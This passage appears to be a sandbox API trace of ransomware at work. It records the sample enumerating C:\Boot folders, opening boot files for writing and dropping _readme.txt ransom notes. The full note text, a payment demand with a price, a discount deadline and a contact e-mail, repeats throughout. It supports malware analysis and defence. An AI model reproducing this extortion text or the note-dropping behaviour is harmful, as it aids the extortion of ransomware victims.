pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 1 [0124.454] PathFileExistsW (pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 0 [0124.455] lstrcpyW (in: lpString1=0x3ae4bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.455] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.455] CreateFileW (lpFileName="C:\\Boot\\es-ES\\_readme.txt" (normalized: "c:\\boot\\es-es\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.455] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.455] PathFindExtensionW (pszPath="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned=".mui" [0124.455] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.457] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.457] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.457] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.457] PathFindFileNameW (pszPath="C:\\Boot\\fi-FI\\") returned="fi-FI\\" [0124.457] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.457] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.457] PathFindFileNameW (pszPath="") returned="" [0124.457] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.457] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.457] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.457] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.457] PathAppendW (in: pszPath="C:\\Boot\\fi-FI\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 1 [0124.457] PathFileExistsW (pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 0 [0124.458] lstrcpyW (in: lpString1=0x3ae4bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.458] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.458] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\_readme.txt" (normalized: "c:\\boot\\fi-fi\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.458] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.458] PathFindExtensionW (pszPath="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned=".mui" [0124.458] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.458] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.458] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.458] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.458] PathFindFileNameW (pszPath="C:\\Boot\\Fonts\\") returned="Fonts\\" [0124.458] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.458] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.458] PathFindFileNameW (pszPath="") returned="" [0124.458] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.459] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.459] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.459] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.459] PathAppendW (in: pszPath="C:\\Boot\\Fonts\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 1 [0124.459] PathFileExistsW (pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 0 [0124.459] lstrcpyW (in: lpString1=0x3ae4bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.459] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.459] CreateFileW (lpFileName="C:\\Boot\\Fonts\\_readme.txt" (normalized: "c:\\boot\\fonts\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.459] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.460] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\chs_boot.ttf") returned=".ttf" [0124.460] CreateFileW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.460] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\cht_boot.ttf") returned=".ttf" [0124.460] CreateFileW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.460] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\jpn_boot.ttf") returned=".ttf" [0124.460] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.461] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\kor_boot.ttf") returned=".ttf" [0124.461] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.461] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned=".ttf" [0124.461] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.461] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.461] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.461] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.461] PathFindFileNameW (pszPath="C:\\Boot\\fr-FR\\") returned="fr-FR\\" [0124.461] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.461] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.461] PathFindFileNameW (pszPath="") returned="" [0124.461] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.461] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.461] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.462] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.462] PathAppendW (in: pszPath="C:\\Boot\\fr-FR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 1 [0124.462] PathFileExistsW (pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 0 [0124.462] lstrcpyW (in: lpString1=0x3ae4bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal 